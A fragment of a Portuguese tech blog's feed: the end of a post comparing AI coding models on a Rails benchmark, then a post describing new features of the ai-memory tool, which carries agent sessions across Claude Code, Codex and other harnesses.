          <th style="text-align: right">Tempo</th>
          <th style="text-align: right">Testes</th>
          <th>Persistência</th>
          <th style="text-align: right">Tarifa API</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Opus 5</td>
          <td style="text-align: right">95</td>
          <td style="text-align: right">39m</td>
          <td style="text-align: right">121</td>
          <td>Rails.cache, TTL, replay limitado</td>
          <td style="text-align: right">$5 / $25</td>
      </tr>
      <tr>
          <td>Opus 4.8</td>
          <td style="text-align: right">95</td>
          <td style="text-align: right">17m</td>
          <td style="text-align: right">34</td>
          <td>session cookie sem cap</td>
          <td style="text-align: right">$5 / $25</td>
      </tr>
      <tr>
          <td>Fable 5</td>
          <td style="text-align: right">94</td>
          <td style="text-align: right">24m</td>
          <td style="text-align: right">36</td>
          <td>singleton local, capped</td>
          <td style="text-align: right">$10 / $50</td>
      </tr>
      <tr>
          <td>Fable 5 (re-release)</td>
          <td style="text-align: right">93</td>
          <td style="text-align: right">18m</td>
          <td style="text-align: right">41</td>
          <td>Rails.cache com TTL, sem hard cap</td>
          <td style="text-align: right">$10 / $50</td>
      </tr>
  </tbody>
</table>
<p>O <a href="/2026/06/01/llm-benchmarks-grok-4-3-minimax-m3-opus-4-8/">Opus 4.8 tinha feito 95</a> com uma solução menor e muito mais rápida. Usou a API correta, escreveu testes honestos e fez a melhor validação ao vivo daquela rodada: Rails local, chamada real ao OpenRouter, Docker, container de produção e Compose. Perdeu pontos por deixar o histórico sem limite no cookie e não fazer preflight da chave.</p>
<p>Opus 5 corrigiu os dois defeitos e foi bem além na arquitetura, no streaming e nos testes. Em compensação, criou outra race, deixou o pin desatualizado e gastou mais do dobro do tempo. Mesma nota, artefatos bem diferentes.</p>
<p>O <a href="/2026/06/11/llm-benchmark-fable-5-e-a-novela-da-anthropic/">Fable 5 original fez 94</a>. Foi o primeiro modelo que vi parar no meio do trabalho pra ler o source instalado do RubyLLM antes de escrever a integração. Tinha 99,3% de cobertura, cap de histórico, preflight e uma fase 2 sem nenhum conserto. A grande dedução foi guardar conversa num singleton em memória: reinicia o processo, perde tudo; sobe mais de um worker, cada um enxerga um mundo.</p>
<p>O re-release do Fable corrigiu isso com <code>Rails.cache</code>, mas deixou o cache sem hard cap, manteve Sonnet 4.6 e fez uma validação ao vivo mais fraca. Caiu um ponto. Mesma identificação de modelo, outro projeto, outro score.</p>
<p>Nos limites desse app Rails, Opus 5 parece mais completo que os dois Fable e pelo menos tão bom quanto Opus 4.8. Só não confunda isso com &ldquo;Opus 5 tem mais inteligência que Fable&rdquo;. A Anthropic diz que a vantagem do Fable cresce quanto mais longa e complexa fica a tarefa. Nosso projeto é pequeno, greenfield e fechado. Pode simplesmente não ter espaço pra mostrar a diferença.</p>
<h2>O preço: metade do Fable, mas cuidado com a conta<span class="hx:absolute hx:-mt-20" id="o-preço-metade-do-fable-mas-cuidado-com-a-conta"></span>
    <a href="#o-pre%c3%a7o-metade-do-fable-mas-cuidado-com-a-conta" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Na API, a vantagem é direta:</p>
<table>
  <thead>
      <tr>
          <th>Modelo</th>
          <th style="text-align: right">Input / milhão</th>
          <th style="text-align: right">Output / milhão</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Opus 5</td>
          <td style="text-align: right">$5</td>
          <td style="text-align: right">$25</td>
      </tr>
      <tr>
          <td>Opus 4.8</td>
          <td style="text-align: right">$5</td>
          <td style="text-align: right">$25</td>
      </tr>
      <tr>
          <td>Fable 5</td>
          <td style="text-align: right">$10</td>
          <td style="text-align: right">$50</td>
      </tr>
  </tbody>
</table>
<p>Se Opus 5 realmente entrega comportamento próximo de Fable no seu workload, pagar o dobro por Fable fica difícil de justificar. Fable precisa resolver algo que Opus não resolve, não apenas carregar o nome da tier acima.</p>
<p>Mas o custo observado nessa rodada conta outra história:</p>
<table>
  <thead>
      <tr>
          <th>Modelo</th>
          <th>Harness</th>
          <th style="text-align: right">Custo da rodada</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Opus 5</td>
          <td>Claude Code / Max</td>
          <td style="text-align: right">assinatura (≈$16,02 em API)</td>
      </tr>
      <tr>
          <td>Opus 4.8</td>
          <td>OpenCode / OpenRouter</td>
          <td style="text-align: right">~$6,40</td>
      </tr>
      <tr>
          <td>Fable 5</td>
          <td>OpenCode / OpenRouter</td>
          <td style="text-align: right">~$11,20</td>
      </tr>
  </tbody>
</table>
<p>Como um modelo com tarifa pela metade do Fable acabou com equivalente maior? Porque preço por milhão não é custo por tarefa. O run do Opus 5 fez 201 turnos e acumulou 22,1 milhões de cache reads no Claude Code. O run do Fable usou outro harness e outro perfil de tokens. Comparar $16,02 com $11,20 como se fosse só diferença de modelo seria errado.</p>
<p>Pra mim, assinante Max, o custo marginal real foi zero enquanto eu estiver dentro da franquia. Pra automação que paga API por token, a tarifa do Opus 5 é metade da do Fable e igual à do 4.8. Aí eu começaria no Opus 5 e só subiria pra Fable com evidência de que a tarefa precisa dele.</p>
<h2>Contra GPT 5.6 Sol e Kimi K3<span class="hx:absolute hx:-mt-20" id="contra-gpt-56-sol-e-kimi-k3"></span>
    <a href="#contra-gpt-56-sol-e-kimi-k3" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O <a href="/2026/07/09/llm-benchmark-grok-4-5-gpt-5-6-sol/">GPT 5.6 Sol fez 92</a> em 17 minutos. Foi muito mais econômico em tokens e entregou uma aplicação defensiva: Docker non-root, 99,2% de cobertura, histórico limitado por mensagens, caracteres e bytes, e um teste específico pra não repetir o prompt atual no contexto.</p>
<p>Perdeu pontos porque não usou <code>with_instructions</code> e carregou o histórico num hidden field do browser. Funciona, mas perde a conversa no reload e deixa o cliente adulterar o contexto. O Opus 5 colocou essas responsabilidades no servidor, separou melhor domínio, persistência e provider, e testou muito mais. Neste projeto, a diferença de três pontos faz sentido. No uso diário, os dois continuam no mesmo cluster de modelos fortes.</p>
<p>O <a href="/2026/07/17/llm-benchmarks-kimi-k3/">Kimi K3 fez 89</a> em 26 minutos. Ele já tinha acertado o padrão que decide boa parte do topo: <code>Rails.cache</code>, TTL e cap de histórico. Custou só cerca de $2,10 equivalentes em API pela assinatura Moderato.</p>
<p>Ficou abaixo porque não tinha system prompt, colocou I/O do LLM dentro do model <code>Conversation</code>, não fez preflight de credencial e deixou o cache de produção no default efêmero do container. Opus 5 fecha quase todas essas lacunas. Kimi continua sendo uma alternativa Tier A bem mais barata; Opus 5 é o projeto que eu precisaria mexer menos antes de confiar.</p>
<h2>O Opus 5 também derrubou o antigo campeão<span class="hx:absolute hx:-mt-20" id="o-opus-5-também-derrubou-o-antigo-campeão"></span>
    <a href="#o-opus-5-tamb%c3%a9m-derrubou-o-antigo-campe%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Tem uma mudança importante na tabela que não veio do código novo. Até ontem, Opus 4.7 aparecia em primeiro com 97. O cross-audit cego entre ele e Opus 5 deu <strong>94 contra 70</strong> a favor do 5. Fui reler os artefatos antigos.</p>
<p>O Opus 4.7 tinha um bug de double-send: o controller salvava a mensagem do usuário antes de chamar o service, e o service reenviava todo o histórico, incluindo aquela mesma mensagem. Cada prompt chegava duas vezes ao LLM. As mensagens de erro também voltavam no contexto de pedidos futuros, e o cookie tinha limite de quantidade, mas não de bytes.</p>
<p>Os testes passavam porque controller e service eram testados em arranjos diferentes do fluxo de produção. O modelo não piorou desde abril. O projeto também não mudou. <strong>Minha auditoria é que estava incompleta.</strong> Recalculei a nota de 97 pra 87.</p>
<p>Isso é quase cômico porque o artigo da semana passada usava justamente &ldquo;por que Opus 4.7 fica acima de 4.8 e Fable?&rdquo; como exemplo. Agora não fica. E o argumento do artigo ficou ainda mais forte.</p>
<p>Benchmark não é escritura sagrada. A rubrica evolui, o auditor encontra um ponto cego, o harness muda, o mesmo modelo gera outro projeto. Se uma tabela não publica prompt, artefato, logs e correções, ela serve mais pra marketing que pra engenharia.</p>
<h2>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Opus 5 é bom? <strong>Sim.</strong> Muito.</p>
<p>Fez 95/A, empatou com Opus 4.8 e GPT 5.4 no score, ficou um ponto acima do Fable original, três acima do GPT 5.6 Sol e seis acima do Kimi K3. Produziu o projeto mais cuidadoso desta rodada inteira: arquitetura limpa, RubyLLM verificado na gem real, histórico correto, streaming bem feito, erros separados e 121 testes.</p>
<p>Também levou 39 minutos, queimou 22 milhões de cache reads e rodou num harness diferente. A nota maior que Fable não prova que é melhor que Fable no geral. Prova que, neste app Rails, nesta execução pelo Claude Code e nesta auditoria, o artefato encaixou um pouco melhor na rubrica.</p>
<p>Minha leitura prática: Opus 5 merece entrar como primeira opção. A tarifa é a mesma do Opus 4.8 e metade da do Fable. Pra quem tem Claude Pro ou Max, vira a escolha óbvia antes de gastar créditos no Fable. Pra quem paga API, eu também começaria nele e exigiria dados antes de subir pra tier de $10/$50.</p>
<p>E a regra continua a mesma: leia 90+ como um grupo. Tier A está claramente acima de Tier C neste workload. Dentro do grupo bom, escolha por custo, assinatura, velocidade, harness e pelo tipo de defeito que você aceita revisar.</p>
<p>Não use meu benchmark pra decidir qual é &ldquo;o melhor LLM&rdquo;. Use pra escolher o que vale testar no seu problema. Se a decisão importa, rode a sua metodologia, mais de uma vez, e leia o código.</p>
]]></content:encoded><category>benchmarks-de-llm</category><category>llms</category><category>agentes-de-codigo</category></item><item><title>Novidades no meu AI-MEMORY: cada vez melhor pra usar com suas IAs</title><link>https://www.akitaonrails.com/2026/07/20/novidades-no-meu-ai-memory-cada-vez-melhor-pra-usar-com-suas-ias/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/07/20/novidades-no-meu-ai-memory-cada-vez-melhor-pra-usar-com-suas-ias/</guid><pubDate>Mon, 20 Jul 2026 21:00:00 GMT</pubDate><description>&lt;p&gt;Faz pouco mais de um mês que publiquei &lt;a href="https://www.akitaonrails.com/2026/06/16/ai-memory-memoria-longo-prazo-karpathy-wiki-auto-aprendizado-hermes-projetos/"&gt;ai-memory: memória de longo prazo (Karpathy Wiki) e auto-aprendizado (Hermes) pros seus projetos&lt;/a&gt;. Foi dia 16 de junho. Naquele texto eu expliquei como sessões viravam páginas Markdown, como o auto-improve promovia aprendizados e por que memória ruim pode ser pior que amnésia.&lt;/p&gt;
&lt;p&gt;No mesmo dia saiu a versão 1.1.0. Hoje, 20 de julho, estamos na &lt;strong&gt;1.17.1&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Versão sozinha não quer dizer grande coisa, então fui contar o que aconteceu de verdade desde o horário daquele post. Foram &lt;strong&gt;31 releases, 55 pull requests mergeados e 46 issues fechadas&lt;/strong&gt;. Eu contei &lt;strong&gt;24 grupos de funcionalidades novas voltadas ao usuário&lt;/strong&gt; no &lt;a href="https://github.com/akitaonrails/ai-memory/blob/main/CHANGELOG.md"target="_blank" rel="noopener"&gt;CHANGELOG&lt;/a&gt;, ignorando correções, documentação e detalhes internos da mesma entrega. Se eu quebrasse a nova família &lt;code&gt;ai-memory run&lt;/code&gt; em auto-seleção, adoção de sessão, suporte a Crush, &lt;code&gt;--yolo&lt;/code&gt;, busca e recuperação, passava disso fácil.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Faz pouco mais de um mês que publiquei <a href="/2026/06/16/ai-memory-memoria-longo-prazo-karpathy-wiki-auto-aprendizado-hermes-projetos/">ai-memory: memória de longo prazo (Karpathy Wiki) e auto-aprendizado (Hermes) pros seus projetos</a>. Foi dia 16 de junho. Naquele texto eu expliquei como sessões viravam páginas Markdown, como o auto-improve promovia aprendizados e por que memória ruim pode ser pior que amnésia.</p>
<p>No mesmo dia saiu a versão 1.1.0. Hoje, 20 de julho, estamos na <strong>1.17.1</strong>.</p>
<p>Versão sozinha não quer dizer grande coisa, então fui contar o que aconteceu de verdade desde o horário daquele post. Foram <strong>31 releases, 55 pull requests mergeados e 46 issues fechadas</strong>. Eu contei <strong>24 grupos de funcionalidades novas voltadas ao usuário</strong> no <a href="https://github.com/akitaonrails/ai-memory/blob/main/CHANGELOG.md"target="_blank" rel="noopener">CHANGELOG</a>, ignorando correções, documentação e detalhes internos da mesma entrega. Se eu quebrasse a nova família <code>ai-memory run</code> em auto-seleção, adoção de sessão, suporte a Crush, <code>--yolo</code>, busca e recuperação, passava disso fácil.</p>
<p>Quinze pessoas tiveram PRs mergeados nesse período, quatorze além de mim. Preciso agradecer em especial ao <a href="https://github.com/djalmajr"target="_blank" rel="noopener">Djalma Júnior</a>, que sozinho teve 24 PRs mergeados, <a href="https://github.com/matheus-rodrigues00"target="_blank" rel="noopener">Matheus Rodrigues</a>, com cinco, <a href="https://github.com/lhzapata"target="_blank" rel="noopener">lhzapata</a>, com quatro, <a href="https://github.com/rthiago"target="_blank" rel="noopener">Thiago Silva</a> e <a href="https://github.com/cristianodewes"target="_blank" rel="noopener">Cristiano Dewes</a>, com dois cada. Mais nove contribuidores tiveram PR mergeado. Faz tempo que isso deixou de ser &ldquo;um programinha que eu fiz num fim de semana&rdquo;.</p>
<p>Não vou despejar 55 PRs aqui. Quero falar da mudança que mais afeta meu uso diário: o novo <strong><code>ai-memory run</code></strong>.</p>
<h2>A sessão também faz parte do projeto<span class="hx:absolute hx:-mt-20" id="a-sessão-também-faz-parte-do-projeto"></span>
    <a href="#a-sess%c3%a3o-tamb%c3%a9m-faz-parte-do-projeto" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Código é o resultado que sobreviveu. Ele não guarda a investigação inteira.</p>
<p>O Git mostra que você trocou Redis por SQLite. Talvez o commit explique uma parte. Mas onde ficou o experimento com Redis? Onde está o bug intermitente que só aparecia com dois workers? Quem lembrou que a primeira solução quebrava no Windows? Por que o time mudou de ideia depois de três horas? Qual workaround era temporário e qual virou decisão?</p>
<p>Boa parte disso só existe na sessão do agente.</p>
<p>Quando programo com Claude Code ou Codex, a sessão acumula o raciocínio operacional do projeto: perguntas, correções, tentativas descartadas, resultados de testes, surpresas, decisões e mudanças de direção. O código final mostra o que ficou. A sessão explica por que chegamos ali.</p>
<p>E sessão de LLM, no fim das contas, é texto. Claude Code grava JSONL. Codex também. OpenCode usa SQLite. Pi, OMP e Crush têm seus próprios formatos e diretórios. Cada harness empacota a conversa de um jeito, mas o conteúdo visível continua sendo mensagens e resultados de ferramentas.</p>
<p>Por que eu deveria deixar a parte mais cara do trabalho presa ao harness?</p>
<p>Anthropic pode mudar limite, preço, modelo ou formato amanhã. OpenAI também. Um agente pode estar excelente esta semana e insuportável na próxima. Eu quero trocar o motor sem jogar fora a viagem inteira.</p>
<p>Essa é a tese do ai-memory desde o começo: <strong>o programador tem que continuar independente das vontades dos providers</strong>. Modelo e harness são substituíveis. A memória do projeto é minha.</p>
<h2>O handoff resolvia só metade<span class="hx:absolute hx:-mt-20" id="o-handoff-resolvia-só-metade"></span>
    <a href="#o-handoff-resolvia-s%c3%b3-metade" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O ai-memory já fazia passagem de bastão. Eu encerrava Claude Code, os hooks consolidavam a sessão e o Codex seguinte recebia um resumo curto com o que foi feito, perguntas abertas e próximos passos.</p>
<p>Isso continua existindo e continua útil. Quem abre <code>claude</code>, <code>codex</code> ou <code>opencode</code> diretamente mantém o comportamento anterior. O launcher novo é opt-in.</p>
<p>Mas handoff é uma compressão deliberadamente lossy. Ele preserva o que parece mais importante naquele momento. Não pretende transportar a sessão inteira, nem retomar a sessão nativa de cada harness. Se o resumo omitiu uma tentativa antiga que voltou a ser relevante duas horas depois, você precisa procurar na wiki ou nos registros.</p>
<p>O <code>ai-memory run</code> acrescenta outra camada: uma <strong>workstream gerenciada</strong>, uma linha de trabalho que atravessa os harnesses.</p>
<h2>Claude hoje, Codex daqui a pouco<span class="hx:absolute hx:-mt-20" id="claude-hoje-codex-daqui-a-pouco"></span>
    <a href="#claude-hoje-codex-daqui-a-pouco" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O uso básico é esse:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">cd</span> ~/Projects/meu-projeto
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">ai-memory run claude
</span></span><span class="line"><span class="cl"><span class="c1"># trabalha, encerra o Claude Code normalmente</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">ai-memory run codex --yolo
</span></span><span class="line"><span class="cl"><span class="c1"># Codex continua a mesma linha de trabalho</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">ai-memory run claude --model opus
</span></span><span class="line"><span class="cl"><span class="c1"># volta pra sessão nativa anterior do Claude</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">ai-memory run
</span></span><span class="line"><span class="cl"><span class="c1"># ou deixa o ai-memory escolher o harness certo pra continuar</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Não precisa de <code>--</code> pra separar os argumentos. Tudo depois do nome do harness segue pra ele, com uma exceção proposital: o <code>--yolo</code> pertence ao wrapper e é traduzido pra opção perigosa nativa de Claude Code, Codex, OpenCode, Pi ou Crush.</p>
<p>Por baixo, o ai-memory não tenta converter um arquivo do Codex num arquivo do Claude. Isso seria frágil e provavelmente quebraria na próxima atualização. Cada harness mantém sua própria sessão nativa. A workstream liga essas sessões a um ledger portátil com a parte visível da conversa.</p>
<p>Pensa assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">sessão nativa do Claude ─┐
</span></span><span class="line"><span class="cl">sessão nativa do Codex  ─┼─ workstream ─ contexto portátil
</span></span><span class="line"><span class="cl">sessão do OpenCode      ─┤                 + busca completa
</span></span><span class="line"><span class="cl">sessão nativa do Pi     ─┘</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Na primeira vez que Claude entra naquela workstream, ele ganha uma sessão nativa. Quando você troca pra Codex, o Codex ganha a sessão nativa dele e recebe o delta portátil que ainda não viu. Ao voltar pro Claude, o launcher usa o <code>--resume</code> do próprio Claude Code e entrega apenas o que aconteceu nos outros harnesses desde a última vez.</p>
<p>Isso é bem diferente de começar um chat novo com um resumo colado no prompt. O Claude volta pra sessão real dele. O Codex volta pra sessão real dele. O ai-memory cuida da continuidade entre os dois.</p>
<p>Hoje o modo gerenciado suporta <strong>Claude Code, Codex, OpenCode, Pi, Crush e OMP</strong>. O suporte geral do ai-memory é maior, com MCP e hooks pra outros clientes, mas isso não quer dizer que todo cliente já tenha adapter de sessão nativa pro <code>run</code>. São contratos diferentes e eu prefiro deixar isso explícito.</p>
<h2>O que entra na workstream<span class="hx:absolute hx:-mt-20" id="o-que-entra-na-workstream"></span>
    <a href="#o-que-entra-na-workstream" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Quando o harness encerra, o ai-memory lê o final da sessão nativa sem modificar o store original. Entram mensagens visíveis de usuário e assistente, tool calls concluídas com seus resultados, resumos de compaction e um checkpoint não mutante do Git. Cada evento mantém a origem: veio do Claude, Codex, OpenCode, Pi, Crush ou OMP.</p>
<p>Credenciais do provider, registros criptografados, system/developer prompts e hidden reasoning ficam de fora. Formatos privados que o adapter não entende também ficam de fora e geram uma anotação de perda, em vez de o sistema fingir que importou tudo.</p>
<p>Os registros passam pelo sanitizer antes de entrar no ledger pesquisável e nos segmentos JSONL imutáveis do ai-memory. Os stores nativos são abertos read-only pelo adapter; quem continua escrevendo neles é o próprio harness.</p>
<p>Também não enfio a sessão inteira no próximo prompt. Isso recriaria o problema que o projeto tenta resolver: contexto bruto demais, caro demais e cheio de ruído. O próximo agente recebe um delta recente com tamanho limitado. Se uma decisão velha voltar a importar, o ledger completo continua pesquisável:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">ai-memory workstream-search <span class="s2">&#34;por que desistimos do Redis&#34;</span>
</span></span><span class="line"><span class="cl">ai-memory workstream-search --limit <span class="m">50</span> --json <span class="s2">&#34;migration que falhou&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Dentro de um <code>ai-memory run</code>, o ID da workstream já entra no ambiente. O agente não precisa descobrir UUID nenhum.</p>
<p>E o ledger não substitui a wiki. Ele resolve continuidade operacional. Decisões, regras, procedimentos e gotchas que precisam sobreviver por meses continuam merecendo páginas Markdown consolidadas. Sessão bruta é evidência. Wiki é conhecimento organizado.</p>
<h2>Posso manter mais de uma linha de trabalho?<span class="hx:absolute hx:-mt-20" id="posso-manter-mais-de-uma-linha-de-trabalho"></span>
    <a href="#posso-manter-mais-de-uma-linha-de-trabalho" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Sim. A workstream padrão se chama <code>default</code>, selecionada por repositório e worktree. Se eu quiser abrir uma linha independente pra uma investigação sem contaminar o trabalho principal:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">ai-memory run --new investigar-race claude
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># depois continuo aquela linha com outro harness</span>
</span></span><span class="line"><span class="cl">ai-memory run --workstream investigar-race codex</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Uma lease impede duas janelas de escreverem ao mesmo tempo na mesma workstream. Em encerramento normal, o launcher importa o final da sessão e libera imediatamente. Se alguém matar o processo sem cleanup, a lease expira em até 90 segundos e a próxima execução retoma do último cursor confirmado, sem duplicar os eventos já importados.</p>
<p>Uma irritação besta que eu tinha o tempo todo: voltava pra um projeto depois de alguns dias e não lembrava se a sessão mais recente estava no Claude ou no Codex. Eu chutava um, abria, percebia que o contexto estava no outro, fechava e tentava de novo.</p>
<p>Agora só rodo:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">ai-memory run
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># ou com a mesma seleção automática em YOLO mode</span>
</span></span><span class="line"><span class="cl">ai-memory run --yolo</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Numa workstream vazia, o ai-memory procura sessões locais daquele checkout em Claude Code, Codex, OpenCode, Pi e Crush, descobre qual é a mais recente e abre o harness certo pra mim. Numa workstream já estabelecida, a memória do servidor vence o timestamp de arquivo: ele volta ao último harness ligado àquele trabalho, em vez de adotar por engano uma sessão velha que só recebeu uma gravação mais recente. OMP continua disponível quando escolhido explicitamente, mas ainda não participa da seleção automática.</p>
<p>Na primeira execução explícita, o launcher também pode oferecer sessões existentes do mesmo checkout pra adoção. Dá pra começar a usar sem abandonar o chat que já estava aberto antes de atualizar o ai-memory.</p>
<h2>Outras novidades que eu realmente uso<span class="hx:absolute hx:-mt-20" id="outras-novidades-que-eu-realmente-uso"></span>
    <a href="#outras-novidades-que-eu-realmente-uso" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Eu prometi não ler o changelog inteiro em voz alta, mas algumas mudanças desse mês merecem menção porque reduzem trabalho do programador.</p>
<h3>Briefing antes da primeira pergunta<span class="hx:absolute hx:-mt-20" id="briefing-antes-da-primeira-pergunta"></span>
    <a href="#briefing-antes-da-primeira-pergunta" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Um projeto pode pedir um briefing automático no início de cada sessão:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-toml" data-lang="toml"><span class="line"><span class="cl"><span class="p">[</span><span class="nx">briefing</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="nx">inject_on_session_start</span> <span class="p">=</span> <span class="s2">&#34;true&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nx">max_chars</span> <span class="p">=</span> <span class="mi">4000</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O ai-memory recompõe um pacote com páginas pinned, <code>_rules/</code>, <code>_slots/</code> e títulos recentes. O agente começa sabendo as regras e o estado básico do projeto, em vez de gastar a primeira conversa redescobrindo a arquitetura. É opt-in porque consome contexto em todo SessionStart, inclusive depois de um <code>/clear</code> do Claude.</p>
<h3>Preferências globais e busca entre projetos<span class="hx:absolute hx:-mt-20" id="preferências-globais-e-busca-entre-projetos"></span>
